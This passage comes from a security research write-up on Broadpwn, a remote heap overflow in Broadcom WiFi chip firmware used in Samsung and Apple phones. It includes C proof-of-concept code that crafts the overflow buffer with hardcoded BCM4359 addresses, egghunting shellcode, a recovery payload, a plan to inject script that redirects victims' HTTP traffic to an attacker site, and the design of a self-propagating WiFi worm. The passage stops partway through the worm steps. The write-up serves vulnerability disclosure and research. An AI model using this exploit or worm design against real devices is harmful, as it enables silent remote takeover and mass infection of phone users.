more difficult to obtain, and sometimes requires a separate infoleak. And, generally speaking, infoleaks are harder to obtain on remote attack surfaces, since the target’s interaction with the attacker is limited. Over the past decade, hundreds of remote bugs have died miserable deaths due to DEP and ASLR. Security researchers who work with embedded systems don’t have such troubles. Routers, cameras, and various IoT devices typically have no security mitigation enabled. Smartphones are different: Android and iOS have had ASLR enabled from a relatively early stage [a]. But this definition is misleading, since it refers only to code running on the main application processor. A smartphone is a complex system. Which other processors exist in a phone? Most Android and iOS smartphones have two additional chips which are particularly interesting to us from a remote standpoint: the baseband and the WiFi chipset. The baseband is a fascinating and large attack surface, and it doubtlessly draws the attention of many attackers. However, attacking basebands is a difficult business, mainly due to fragmentation. The baseband market is currently going through a major shift: If, several years ago, Qualcomm were the unchallenged market leaders, today the market has split up into several competitors. Samsung’s Shannon modems are prevalent in most of the newer Samsungs; Intel’s Infineon chips have taken over Qualcomm as the baseband for iPhone 7 and above; and MediaTek’s chips are a popular choice for lower cost Androids. And to top it off, Qualcomm is still dominant in higher end non-Samsung Androids. WiFi chipsets are a different story: Here, Broadcom are still the dominant choice for most popular smartphones, including most Samsung Galaxy models, Nexus phones and iPhones. A peculiar detail makes the story even more interesting. On laptops and desktop computers, the WiFi chipset generally handles the PHY layer while the kernel driver is responsible for handling layer 3 and above. This is known as a SoftMAC implementation. On mobile devices, however, power considerations often cause the device designers to opt for a FullMAC WiFi implementation, where the WiFi chip is responsible for handling the PHY, MAC and MLME on its own, and hands the kernel driver data packets that are ready to be sent up. Which means, of course, that the chip handles considerable attacker-controlled input on its own. Another detail sealed our choice. Running some tests on Broadcom’s chips, we realised with joy that there was no ASLR and that the whole of RAM has RWX permissions – meaning that we can read, write and run code anywhere in memory. While the same holds partially true for Shannon and MediaTek basebands, Qualcomm basebands do support DEP and are therefore somewhat harder to exploit. Before we continue, it should be mentioned that a considerable drawback exists when attacking the WiFi chip. The amount of code running on WiFi chipsets is considerably smaller than code running on basebands, and the 802.11 family of protocols is significantly less complicated to implement than the nightmarish range of protocols that basebands have to implement, including GSM and LTE. On a BCM4359 WiFi SoC, we identified approximately 9,000 functions. On a Shannon baseband, there are above 80,000. That means that a reasonably determined effort at code auditing on Broadcom’s part has a good chance of closing off many exploitable bugs, making an attacker’s life much harder. Samsung would need to put in considerably more effort to arrive at the same result. THE BCM43XX FAMILY Broadcom’s WiFi chips are the dominant choice for the WiFi slot in high-end smartphones. In a non-exhaustive research, we’ve found that the following models use Broadcom WiFi chips: Samsung Galaxy from S3 through S8, inclusive2 All Samsung Notes3. Nexus 5, 6, 6X and 6P4 All iPhones after iPhone 5 The chip model range from BCM4339 for the oldest phones (notably Nexus 5) up to BCM4361 for the Samsung Galaxy S8. This research was carried out on both a Samsung Galaxy S5 (BCM4354) and a Samsung Galaxy S7 (BCM4359), with the main exploit development process taking place on the S7. Reverse engineering and debugging the chip’s firmware is made relatively simple by the fact that the unencrypted firmware binary is loaded into the chip’s RAM by the main OS every time after the chip is reset, so a simple search through the phone’s system will usually suffice to locate the Broadcom firmware. On Linux kernels, its path is usually defined in the config variable BCMDHD_FW_PATH. Another blessing is that there is no integrity check on the firmware, so it’s quite easy to patch the original firmware, add hooks that print debugging output or otherwise modify its behaviour, and modify the kernel to load our firmware instead. A lot of this research was carried out by placing hooks at the right places and observing the system’s behaviour (and more interestingly, its misbehaviour). All the BCM chips that we’ve observed run an ARM Cortex-R4 microcontroller. One of the system’s main quirks is that a large part of the code runs on the ROM, whose size is 900k. Patches, and additional functionality, are added to the RAM, also 900k in size. In order to facilitate patching, an extensive thunk table is used in RAM, and calls are made into that table at specific points during execution. Should a bug fix be issued, the thunk table could be changed to redirect to the newer code. In terms of architecture, it would be correct to look at the BCM43xx as a WiFi SoC, since two different chips handle packet processing. While the main processor, the Cortex-R4, handles the MAC and MLME layers before handing the received packets to the Linux kernel, a separate chip, using a proprietary Broadcom processor architecture, handles the 802.11 PHY layer. Another component of the SoC is the interface to the application processor: Older BCM chips used the slower SDIO connection, while BCM4358 and above use PCIe. The main ARM microcontroller in the WiFi SoC runs a mysterious proprietary RTOS known as HNDRTE. While HNDRTE is closed-source, there are several convenient places to obtain older versions of the source code. Previous researchers have mentioned the Linux brcmsmac driver, a driver for SoftMAC WiFi chips which handle only the PHY layer while letting the kernel do the rest. While this driver does contain source code which is also common to HNDRTE itself, we found that that most of the driver code which handles packet processing (and that’s where we intended to find bugs) was significantly different to the one found in the firmware, and therefore did not help us with reversing the interesting code areas. The most convenient resource we found was the source code for the VMG-1312, a forgotten router which also uses a Broadcom chipset. While the brcmsmac driver contains code which was open-sourced by Broadcom for use with Linux, the VMG-1312 contains proprietary Broadcom closed-source code, bearing the warning “This is UNPUBLISHED PROPRIETARY SOURCE CODE of Broadcom Corporation”. Apparently, the Broadcom code was published by mistake together with the rest of the VMG-1312 sources. The leaked code contains most of the key functions we find in the firmware blob, but it appears to be dated, and does not contain much of the processing code for the newer 802.11 protocols. Yet it was extremely useful during the course of this research, since the main packet handling functions have not changed much. By comparing the source code with the firmware, we were able to get a quick high-level view of the packet processing code section, which enabled us to hone in on interesting code areas and focus on the next stage: finding a suitable bug. FINDING THE RIGHT BUG By far, the biggest challenge in developing a fully remote attack is finding a suitable bug. In order to be useful, the right bug will need to meet all the following requirements: It will be triggered without requiring interaction on behalf of the victim It will not require us to make assumptions about the state of the system, since our ability to leak information is limited in a remote attack After successful exploitation, the bug will not leave the system in an unstable state Finding a bug that can be triggered without user interaction is a tall order. For example, CVE-2017-0561, which is a heap-overflow in Broadcom’s TDLS implementation discovered by Project Zero, still requires the attacker and the victim to be on the same WPA2 network. This means the attackers either need to trick the victim to connect to a WPA2 network that they control, or be able to connect to a legitimate WPA2 network which the victim is already on. So where can we find a more suitable bug? To answer that question, let’s look briefly at the 802.11 association process. The process begins with the client, called mobile station (STA) in 802.11 lingo, sending out Probe Request packets to look for nearby Access Points (APs) to connect to. The Probe Requests contain data rates supported by the STA, as well as 802.11 capabilities such as 802.11n or 802.11ac. They will also normally contain a list of preferred SSIDs that the STA has previously connected to. In the next phase, an AP that supports the advertised data rates will send a Probe Response containing data such as supported encryption types and 802.11 capabilities of the AP. After that, the STA and the AP will both send out Authentication Open Sequence packets, which are an obsolete leftover from the days WLAN networks were secured by WEP. In the last phase of the association process, a STA will send an Association Request to the AP it has chosen to connect to. This packet will include the chosen encryption type, as well as various other data about the STA. All the packet types in the above association sequence have the same structure: A basic 802.11 header, followed by a series of 802.11 Information Elements (IEs). The IEs are encoded using the well known TLV (Type-Length-Value) convention, with the first byte of the IE denoting the type of information, the second byte holding its length, and the next bytes hold the actual data. By parsing this data, both the AP and the STA get information about the requirements and capabilities of their counterpart in the association sequence. Any actual authentication, implemented using protocols such as WPA2, happens only after this association sequence. Since there are no real elements of authentication within the association sequence, it’s possible to impersonate any AP using its MAC address and SSID. The STA will only be able to know that the AP is fake during the later authentication phase. This makes any bug during the association sequence especially valuable. An attacker who finds a bug in the association process will be able to sniff the victim’s probe requests over the air, impersonate an AP that the STA is looking for, then trigger the bug without going through any authentication. When looking for the bug, we were assisted by the highly modular way in which Broadcom’s code handles the different protocols in the 802.11 family and the different functionalities of the firmware itself. The main relevant function in this case is wlc_attach_module, which abstracts each different protocol or functionality as a separate module. The names of the various initialization functions that wlc_attach_module calls are highly indicative. This is some sample code: prot_g = wlc_prot_g_attach(wlc); wlc->prot_g = prot_g; if (!prot_g) { goto fail; } prot_n = wlc_prot_n_attach(wlc); wlc->prot_n = prot_n; if (!prot_n) { goto fail; } ccx = wlc_ccx_attach(wlc); wlc->ccx = ccx; if (!ccx) { goto fail; } amsdu = wlc_amsdu_attach(wlc); wlc->amsdu = amsdu; if (!amsdu) { goto fail; } Each module initialization function then installs handlers which are called whenever a packet is received or generated. These callbacks are responsible for either parsing the contexts of a received packet which are relevant for a specific protocol, or generating the protocol-relevant data for an outgoing packet. We’re mostly interested in the latter, since this is the code which parses attacker-controlled data, so the relevant function here is wlc_iem_add_parse_fn, which has the following prototype: void wlc_iem_add_parse_fn(iem_info *iem, uint32 subtype_bitfield, uint32 iem_type, callback_fn_t fn, void *arg) The second and third arguments are particularly relevant here. subtype_bitfield is a bitfield containing the different packet subtypes (such as probe request, probe response, association request etc.) that the parser is relevant for. The third argument, iem_type, contains the IE type (covered earlier) that this parser is relevant for. wlc_iem_add_parse_fn is called by the various module initialization functions in wlc_module_attach. By writing some code to parse the arguments passed to it, we can make a list of the parsers being called for each phase of the association sequence. By narrowing our search down to this list, we can avoid looking for bugs in areas of the code which don’t interest us: areas which occur only after the user has completed the full association and authentication process with an AP. Any bug that we might find in those areas will fail to meet our most important criteria – the ability to be triggered without user interaction. Using the approach above, we became lucky quite soon. In fact, it took us time to realise how lucky. THE BUG Wireless Multimedia Extensions (WMM) are a Quality-of-Service (QoS) extension to the 802.11 standard, enabling the Access Point to prioritize traffic according to different Access Categories (ACs), such as voice, video or best effort. WMM is used, for instance, to insure optimal QoS for especially data-hungry applications such as VoIP or video streaming. During a client’s association process with an AP, the STA and AP both announce their WMM support level in an Information Element (IE) appended to the end of the Beacon, Probe Request, Probe Response, Association Request and Association Response packets. In our search for bugs in functions that parse association packets after being installed by wlc_iem_add_parse_fn, we stumbled upon the following function: void wlc_bss_parse_wme_ie(wlc_info *wlc, ie_parser_arg *arg) { unsigned int frame_type; wlc_bsscfg *cfg; bcm_tlv *ie; unsigned char *current_wmm_ie; int flags; frame_type = arg->frame_type; cfg = arg->bsscfg; ie = arg->ie; current_wmm_ie = cfg->current_wmm_ie; if ( frame_type == FC_REASSOC_REQ ) { ... <handle reassociation requests> ... } if ( frame_type == FC_ASSOC_RESP ) { ... if ( wlc->pub->_wme ) { if ( !(flags & 2) ) { ... if ( ie ) { ... cfg->flags |= 0x100u; memcpy(current_wmm_ie, ie->data, ie->len); In a classic bug, the program calls memcpy() in the last line without verifying that the buffer current_wmm_ie (our name) is large enough to hold the data of size ie->len. But it’s too early to call it a bug: let’s see where current_wmm_ie is allocated to figure out whether it really is possible to overflow. We can find the answer in the function which allocates the overflowed structure: wlc_bsscfg *wlc_bsscfg_malloc(wlc_info *wlc) { wlc_info *wlc; wlc_bss_info *current_bss; wlc_bss_info *target_bss; wlc_pm_st *pm; wmm_ie *current_wmm_ie; ... current_bss = wlc_calloc(0x124); wlc->current_bss = current_bss; if ( !current_bss ) { goto fail; } target_bss = wlc_calloc(0x124); wlc->target_bss = target_bss; if ( !target_bss ) { goto fail; } pm = wlc_calloc(0x78); wlc->pm = pm; if ( !pm ) { goto fail; } current_wmm_ie = wlc_calloc(0x2C); wlc->current_wmm_ie = current_wmm_ie; if ( !current_wmm_ie ) { goto fail; } As we can see in the last section, the current_wmm_ie buffer is allocated with a length of 0x2c (44) bytes, while the maximum size for an IE is 0xff (255) bytes. This means that we have a nice maximum overflow of 211 bytes. But an overflow would not necessarily get us very far. For example, CVE-2017-0561 (the TDLS bug) is hard to exploit because it only allows the attacker to overflow the size field of the next heap chunk, requiring complicated heap acrobatics in order to get a write primitive, all the while corrupting the state of the heap and making execution restoration more difficult. As far as we know, this bug could land us in the same bad situation. So let’s understand what exactly is being overflowed here. Given that the HNDRTE implementation of malloc() allocates chunks from the top of memory to the bottom, we can assume, by looking at the above code, that the wlc->pm struct will be allocated immediately following the wlc->current_wmm_ie struct which is the target of the overflow. To validate this assumption, let’s look at a hex dump of current_wmm_ie, which on the BCM4359 that we tested was always allocated at 0x1e7dfc: 00000000: 00 50 f2 02 01 01 00 00 03 a4 00 00 27 a4 00 00 .P..........'... 00000010: 42 43 5e 00 62 32 2f 00 00 00 00 00 00 00 00 00 BC^.b2/......... 00000020: c0 0b e0 05 0f 00 00 01 00 00 00 00 7a 00 00 00 ............z... 00000030: 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000040: 64 7a 1e 00 00 00 00 00 b4 7a 1e 00 00 00 00 00 dz.......z...... 00000050: 00 00 00 00 00 00 00 00 c8 00 00 00 c8 00 00 00 ................ 00000060: 00 00 00 00 00 00 00 00 9c 81 1e 00 1c 81 1e 00 ................ 00000070: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000080: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000090: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000000a0: 00 00 00 00 00 00 00 00 2a 01 00 00 00 c0 ca 84 ........*....... 000000b0: ba b9 06 01 0d 62 72 6f 61 64 70 77 6e 5f 74 65 .....broadpwn_te 000000c0: 73 74 00 00 00 00 00 00 00 00 00 00 00 00 00 00 st.............. 000000d0: 00 00 00 00 00 00 fb ff 23 00 0f 00 00 00 01 10 ........#....... 000000e0: 01 00 00 00 0c 00 00 00 82 84 8b 0c 12 96 18 24 ...............$ 000000f0: 30 48 60 6c 00 00 00 00 00 00 00 00 00 00 00 00 0H`l............ Looking at offset 0x2c, which is the end of current_wmm_ie, we can see the size of the next heap chunk, 0x7a – which is the exact size of the wlc->pm struct plus a two byte alignment. This validates our assumption, and means that our overflow always runs into wlc->pm, which is a struct of type wlc_pm_st. It’s worthwhile to note that the position of both current_wmm_ie and pm is completely deterministic given a firmware version. Since these structures are allocated early in the initialization process, they will always be positioned at the same addresses. This fortunately spares us the need for complicated heap feng-shui – we always overflow into the same address and the same structure. THE EXPLOIT Finding a bug was the easy part. Writing a reliable remote exploit is the hard part, and this is usually where a bug is found to be either unexploitable or so difficult to exploit as to be impractical. In our view, the main difficulty in writing a remote exploit is that some knowledge is needed about the address space of the attacked program. The other difficulty is that mistakes are often unforgivable: in a kernel remote exploit, for instance, any misstep will result in a kernel panic, immediately alerting the victim that something is wrong – especially if the crash is repeated several times. In Broadpwn, both of these difficulties are mitigated by two main lucky facts: First, the addresses of all the relevant structures and data that we will use during the exploit are consistent for a given firmware build, meaning that we do not need any knowledge of dynamic addresses – after testing the exploit once on a given firmware build, it will be consistently reproducible. Second, crashing the chip is not particularly noisy. The main indication in the user interface is the disappearance of the WiFi icon, and a temporary disruption of connectivity as the chip resets. This creates a situation where it’s possible to build a dictionary of addresses for a given firmware, then repeatedly launch the exploit until we have brute forced the correct set of addresses. A different, experimental solution, which does not require knowledge of any version-specific addresses, is given at the end of this section. Let’s first look at how we achieve a write primitive. The overflowed structure is of type wlc_pm_st, and handles power management states, including entering and leaving power-saving mode. The struct is defined as follows: typedef struct wlc_pm_st { uint8 PM; bool PM_override; mbool PMenabledModuleId; bool PMenabled; bool PMawakebcn; bool PMpending; bool priorPMstate; bool PSpoll; bool check_for_unaligned_tbtt; uint16 pspoll_prd; struct wl_timer *pspoll_timer; uint16 apsd_trigger_timeout; struct wl_timer *apsd_trigger_timer; bool apsd_sta_usp; bool WME_PM_blocked; uint16 pm2_rcv_percent; pm2rd_state_t pm2_rcv_state; uint16 pm2_rcv_time; uint pm2_sleep_ret_time; uint pm2_sleep_ret_time_left; uint pm2_last_wake_time; bool pm2_refresh_badiv; bool adv_ps_poll; bool send_pspoll_after_tx; wlc_hwtimer_to_t *pm2_rcv_timer; wlc_hwtimer_to_t *pm2_ret_timer; } wlc_pm_st_t; Four members of this struct are especially interesting to control from an exploitation viewpoint: pspoll_timer and apsd_trigger_timer of type wl_timer, and pm2_rcv_timer and pm2_ret_timer of type wlc_hwtimer_to_t. First let’s look at the latter. typedef struct _wlc_hwtimer_to { struct _wlc_hwtimer_to *next; uint timeout; hwtto_fn fun; void *arg; bool expired; } wlc_hwtimer_to_t; The function wlc_hwtimer_del_timeout is called after processing the packet and triggering the overflow, and receives pm2_ret_timer as an argument: void wlc_hwtimer_del_timeout(wlc_hwtimer_to *newto) { wlc_hwtimer_to *i; wlc_hwtimer_to *next; wlc_hwtimer_to *this; for ( i = &newto->gptimer->timer_list; ; i = i->next ) { this = i->next; if ( !i->next ) { break; } if ( this == newto ) { next = newto->next; if ( newto->next ) { next->timeout += newto->timeout; // write-4 primitive } i->next = next; this->fun = 0; return; } } } As can be seen from the code, by overwriting the value of newto and causing it to point to an attacker controlled location, the contents of the memory location pointed to by next->timeout can be incremented by the memory contents of newto->timeout. This amounts to a write-what-where primitive, with the limitation that the original contents of the overwritten memory location must be known. A less limited write primitive can be achieved through using the pspoll_timer member, of type struct wl_timer. This struct is handled by a callback function triggered regularly during the association process : int timer_func(struct wl_timer *t) { prev_cpsr = j_disable_irqs(); v3 = t->field_20; ... if ( v3 ) { v7 = t->field_18; v8 = &t->field_8; if ( &t->field_8 == v7 ) { ... } else { v9 = t->field_1c; v7->field_14 = v9; *(v9 + 16) = v7; if ( *v3 == v8 ) { v7->field_18 = v3; } } t->field_20 = 0; } j_restore_cpsr(prev_cpsr); return 0; } As can be seen towards the end of the function, we have a much more convenient write primitive here. Effectively, we can write the value we store in field_1c into an address we store in field_18. With this, we can write an arbitrary value into any memory address, without the limitations of the previous write primitive we found. The next question is how to leverage our write primitive into full code execution. For this, two approaches will be considered: one which requires us to know firmware memory addresses in advance (or to brute force those addresses by crashing the chip several times), and another method, more difficult to implement, which requires a minimum of that knowledge. We’ll look at the former approach first. To achieve a write primitive, we need to overwrite pspoll_timer with a memory address that we control. Since the addresses of both wlc->current_wmm_ie and wlc->ps are known and consistent for a given firmware build, and since we can fully overwrite their contents, we can clobber pspoll_timer to point anywhere within these objects. For the creation of a fake wl_timer object, the unused area between wlc->current_wmm_ie and wlc->ps is an ideal fit. Placing our fake timer object there, we’ll cause field_18 to point to an address we want to overwrite (minus an offset of 14) and have field_1c hold the contents we want to overwrite that memory with. After we trigger the overwrite, we only need to wait for the timer function to be called, and do our overwrite for us. The next stage is to determine which memory address do we want to overwrite. As can be seen in the above function, immediately after we trigger our overwrite, a call to j_restore_cpsr is made. This function basically does one thing: it refers to the function thunk table found in RAM (mentioned previously when we described HNDRTE and the BCM43xx architecture), pulls the address of restore_cpsr from the thunk table, and jumps to it. Therefore, by overwriting the index of restore_cpsr in the thunk table, we can cause our own function to be called immediately afterwards. This has the advantage of being portable, since both the starting address of the thunk table and the index of the pointer to restore_cpsr within it are consistent between firmware builds. We have now obtained control of the instruction pointer and have a fully controlled jump to an arbitrary memory address. This is made sweeter by the fact that there are no restrictions on memory permissions – the entire RAM memory is RWX, meaning we can execute code from the heap, the stack or wherever else we choose. But we still face a problem: finding a good location to place our shellcode is an issue. We can write the shellcode to the wlc->pm struct that we are overflowing, but this poses two difficulties: first, our space is limited by the fact that we only have an overwrite of 211 bytes. Second, the wlc->pm struct is constantly in use by other parts of the HNDRTE code, so placing our shellcode at the wrong place within the structure will cause the whole system to crash. After some trial and error, we realized that we had a tiny amount of space for our code: 12 bytes within the wlc->pm struct (the only place where overwriting data in the struct would not crash the system), and 32 bytes in an adjacent struct which held an SSID string (which we could freely overwrite). 44 bytes of code are not a particularly useful payload – we’ll need to find somewhere else to store our main payload. The normal way to solve such a problem in exploits is to look for a spray primitive: we’ll need a way to write the contents of large chunks of memory, giving us a convenient and predictable location to store our payload. While spray primitives can be an issue in remote exploits, since sometimes the remote code doesn’t give us a sufficient interface to write large chunks of memory, in this case it was easier than expected – in fact, we didn’t even need to go through the code to look for suitable allocation primitives. We just had to use common sense. Any WiFi implementation will need to handle many packets at any given time. For this, HNDRTE provides the implementation of a ring buffer common to the D11 chip and the main microcontroller. Packets arriving over PHY are repeatedly written to this buffer until it gets filled, and which point new packets are simply written to the beginning of the buffer and overwrite any existing data there. For us, this means that all we need to do is broadcast our payload over the air and over multiple channels. As the WiFi chip repeatedly scans for available APs (this is done every few seconds even when the chip is in power saving mode), the ring buffer gets filled with our payload – giving us the perfect place to jump to and enough space to store a reasonably sized payload. What we’ll do, therefore, is this: write a small stub of shellcode within wlc->pm, which saves the stack frame (so we can restore normal execution afterwards) and jumps to the next 32 bytes of shellcode which we store in the unused SSID string. This compact shellcode is nothing else than classic egghunting shellcode, which searches the ring buffer for a magic number which indicates the beginning of our payload, then jumps to it. So, time to look at the POC code. This is how the exploit buffer is crafted: u8 *generate_wmm_exploit_buf(u8 *eid, u8 *pos) { uint32_t curr_len = (uint32_t) (pos - eid); uint32_t overflow_size = sizeof(struct exploit_buf_4359); uint32_t p_patch = 0x16010C; // p_restore_cpsr uint32_t buf_base_4359 = 0x1e7e02; struct exploit_buf_4359 *buf = (struct exploit_buf_4359 *) pos; memset(pos, 0x0, overflow_size); memcpy(&buf->pm_st_field_40_shellcode_start_106, shellcode_start_bin, sizeof(shellcode_start_bin)); // Shellcode thunk buf->ssid.ssid[0] = 0x41; buf->ssid.ssid[1] = 0x41; buf->ssid.ssid[2] = 0x41; memcpy(&buf->ssid.ssid[3], egghunt_bin, sizeof(egghunt_bin)); buf->ssid.size = sizeof(egghunt_bin) + 3; buf->pm_st_field_10_pspoll_timer_58 = buf_base_4359 + offsetof(struct exploit_buf_4359, t_field_0_2); // Point pspoll timer to our fake timer object buf->pm_st_size_38 = 0x7a; buf->pm_st_field_18_apsd_trigger_timer_66 = 0x1e7ab4; buf->pm_st_field_28_82 = 0xc8; buf->pm_st_field_2c_86 = 0xc8; buf->pm_st_field_38_pm2_rcv_timer_98 = 0x1e819c; buf->pm_st_field_3c_pm2_ret_timer_102 = 0x1e811c; buf->pm_st_field_78_size_162 = 0x1a2; buf->bss_info_field_0_mac1_166 = 0x84cac000; buf->bss_info_field_4_mac2_170 = 0x106b9ba; buf->t_field_20_34 = 0x200000; buf->t_field_18_26 = p_patch - 0x14; // Point field_18 to the restore_cpsr thunk buf->t_field_1c_30 = buf_base_4359 + offsetof(struct exploit_buf_4359, pm_st_field_40_shellcode_start_106) + 1; // Write our shellcode address to the thunk curr_len += overflow_size; pos += overflow_size; return pos; } struct shellcode_ssid { unsigned char size; unsigned char ssid[31]; } STRUCT_PACKED; struct exploit_buf_4359 { uint16_t stub_0; uint32_t t_field_0_2; uint32_t t_field_4_6; uint32_t t_field_8_10; uint32_t t_field_c_14; uint32_t t_field_10_18; uint32_t t_field_14_22; uint32_t t_field_18_26; uint32_t t_field_1c_30; uint32_t t_field_20_34; uint32_t pm_st_size_38; uint32_t pm_st_field_0_42; uint32_t pm_st_field_4_46; uint32_t pm_st_field_8_50; uint32_t pm_st_field_c_54; uint32_t pm_st_field_10_pspoll_timer_58; uint32_t pm_st_field_14_62; uint32_t pm_st_field_18_apsd_trigger_timer_66; uint32_t pm_st_field_1c_70; uint32_t pm_st_field_20_74; uint32_t pm_st_field_24_78; uint32_t pm_st_field_28_82; uint32_t pm_st_field_2c_86; uint32_t pm_st_field_30_90; uint32_t pm_st_field_34_94; uint32_t pm_st_field_38_pm2_rcv_timer_98; uint32_t pm_st_field_3c_pm2_ret_timer_102; uint32_t pm_st_field_40_shellcode_start_106; uint32_t pm_st_field_44_110; uint32_t pm_st_field_48_114; uint32_t pm_st_field_4c_118; uint32_t pm_st_field_50_122; uint32_t pm_st_field_54_126; uint32_t pm_st_field_58_130; uint32_t pm_st_field_5c_134; uint32_t pm_st_field_60_egghunt_138; uint32_t pm_st_field_64_142; uint32_t pm_st_field_68_146; // <- End uint32_t pm_st_field_6c_150; uint32_t pm_st_field_70_154; uint32_t pm_st_field_74_158; uint32_t pm_st_field_78_size_162; uint32_t bss_info_field_0_mac1_166; uint32_t bss_info_field_4_mac2_170; struct shellcode_ssid ssid; } STRUCT_PACKED; And this is the shellcode which carries out the egghunt: __attribute__((naked)) voidshellcode_start(void) { asm("push {r0-r3,lr}\n" "bl egghunt\n" "pop {r0-r3,pc}\n"); } void egghunt(unsigned int cpsr) { unsigned int egghunt_start = RING_BUFFER_START; unsigned int *p = (unsigned int *) egghunt_start; void (*f)(unsigned int); loop: p++; if (*p != 0xc0deba5e) goto loop; f = (void (*)(unsigned int))(((unsigned char *) p) + 5); f(cpsr); return; } So we have a jump to our payload, but is that all we need to do? Remember that we have seriously corrupted the wlc->pm object, and the system will not remain stable for long if we leave it that way. Also recall that one of our main objectives is to avoid crashing the system – an exploit which gives an attacker transient control is of limited value. Therefore, before any further action, our payload needs to restore the wlc->pm object to its normal condition. Since all addresses in this object are consistent for a given firmware build, we can just copy these values back into the buffer and restore the object to a healthy state. Here’s an example for what an initial payload will look like: unsigned char overflow_orig[] = { 0x00, 0x00, 0x03, 0xA4, 0x00, 0x00, 0x27, 0xA4, 0x00, 0x00, 0x42, 0x43, 0x5E, 0x00, 0x62, 0x32, 0x2F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC0, 0x0B, 0xE0, 0x05, 0x0F, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x7A, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x64, 0x7A, 0x1E, 0x00, 0x00, 0x00, 0x00, 0x00, 0xB4, 0x7A, 0x1E, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC8, 0x00, 0x00, 0x00, 0xC8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x9C, 0x81, 0x1E, 0x00, 0x1C, 0x81, 0x1E, 0x00 }; void entry(unsigned int cpsr) { int i = 0; unsigned int *p_restore_cpsr = (unsigned int *) 0x16010C; *p_restore_cpsr = (unsigned int) restore_cpsr; printf("Payload triggered, restoring CPSR\n"); restore_cpsr(cpsr); printf("Restoring contents of wlc->pm struct\n"); memcpy((void *) (0x1e7e02), overflow_orig, sizeof(overflow_orig)); return; } At this stage, we have achieved our first and most important mission: we have reliable, consistent RCE against the BCM chip, and our control of the system is not transient – the chip does not crash following the exploit. At this point, the only way we will lose control of the chip is if the user turns off WiFi or if the chip crashes. THE EXPLOIT – SECOND APPROACH As we mentioned, there is still a problem with the above approach. For each firmware build, we’ll need to determine the correct memory addresses to be used in the exploit. And while those addresses are guaranteed to be consistent for a given build, we should still look for a way to avoid the hard work of compiling address tables for each firmware version. The main problem is that we need a predictable memory address whose contents we control, so we can overwrite the pspoll_timer pointer and redirect it to our fake timer object. The previous approach relied on the fact that the address of wlc->pm is consistent for a given firmware build. But there’s another buffer whose address we already know: the ring buffer. And in this case, there’s an added advantage: its beginning address seems to be the same across the board for a specific chip type, regardless of build or version number. For the BCM4359, the ring buffer’s beginning address is 0x221ec0. Therefore, if we ensure a packet we control will be written exactly to the beginning of the ring buffer, we can place our fake timer object there, and our payload immediately after it. Of course, making sure that our packet is put exactly at the beginning of the buffer is a serious challenge: We may be in an area with dozens of other APs and STAs, increasing the noise level and causing us to contend with many other packets. In order to win the contest for the desired spot in the ring buffer, we have set up a dozen Alfa wireless adapters, each broadcasting on a different channel. By causing them to simultaneously bombard the air with packets on all channels, we have reached a situation where we successfully grab the first slot in the ring buffer about 70% of the time. Of course, this result could radically change if we move to a more crowded WiFi environment. Once we grab the first slot, exploitation is simple: The fake timer object writes to the offset of p_restore_cpsr, overwriting it with the address of an offset within our packet in the first slot. This is where we will store our payload. Despite the difficulty of this approach and the fact that it requires additional gear, it still offers a powerful alternative to the previous exploitation approach, in that the second approach does not require knowledge of addresses within the system. THE NEXT STEP – PRIVILEGE ESCALATION After achieving stable code execution on the Broadcom chip, an attacker’s natural goal would be to escape the chip and escalate their privileges to code execution on the application processor. There are three main approaches to this problem: Find a bug in the Broadcom kernel driver that handles communication with the chip. The driver and chip communicate using a packet-based protocol, so an extensive attack surface on the kernel is exposed to the chip. This approach is difficult, since, unless a way to leak kernel memory is found, an attacker will not have enough knowledge about the kernel’s address space to carry out a successful exploit. Again, attacking the kernel is made more difficult by the fact that any mistake we make will crash the whole system, causing us to lose our foothold in the WiFi chip. Using PCIe to read and write directly to kernel memory. While WiFi chips prior to the BCM4358 (the main WiFi chip used on the Samsung Galaxy S6) used Broadcom’s SDIO interface, more recent chips use PCIe, which inherently enables DMA to the application processor’s memory. The main drawback of this approach is that it will not support older phones. Waiting for the victim to browse to a non-HTTPS site, then, from the WiFi chip, redirecting them to a malicious URL. The main advantage of this approach is that it supports all devices across the board. The drawback is that a separate exploit chain for the browser is required. We believe that achieving kernel code execution from the chip is a sufficiently complicated subject as to justify a separate research; it is therefore out of the scope of the current research. However, work has already been done by Project Zero to show that a kernel write primitive can be achieved via PCIe [d]. In the current research, our approach is to use our foothold on the WiFi chip to redirect the user to an attacker-controlled site. This task is made simple by the fact that a single firmware function, wlc_recv(), is the starting point for processing all packets. The signature of this function is as follows: void wlc_recv(wlc_info *wlc, void *p); The argument p is a pointer to HNDRTE’s implementation of an sk_buff. It holds a pointer to the packet data, as well as the packet’s length and a pointer to the next packet. We will need to hook the wlc_recv function call, dump the contents of each packet that we receive. and look for packets that encapsulate unencrypted HTTP traffic. At this point, we will modify the packet the include a <script> tag, with the code: “top.location.href = http://www.evilsite.com”. THE FIRST WIFI WORM The nature of the bug, which can be triggered without any need for authentication, and the stability of the exploit, which deterministically and reliably reaches code execution, leads us to the return of an old friend: the self-propagating malware, also known as “worm”. Worms died out around the end of the last decade, together with their essential companion, the remote exploit. They have died out for the same reason: software mitigations have become too mature, and automatic infection over the network became a distant memory. Until now. Broadpwn is ideal for propagation over WLAN: It does not require authentication, doesn’t need an infoleak from the target device, and doesn’t require complicated logic to carry out. Using the information provided above, an attacker can turn a compromised device into a mobile infection station. We implemented our WiFi worm with the following steps: In the previous section, we have started running our own payload after restoring the system to a stable state and preventing a chip crash. The payload will hook wlc_recv, in a similar manner to the one showed above. The code in wlc_recv_hook will inspect each received packet, and determine whether it is a Probe Request. Recall that wlc_recv essentially behaves as if it runs in monitor mode: all packets received over the air are handled by it, and only tossed out later if they are not meant for the STA. If the received packet is a Probe Request with the SSID of a specific AP, wlc_recv_hook will extract the SSID 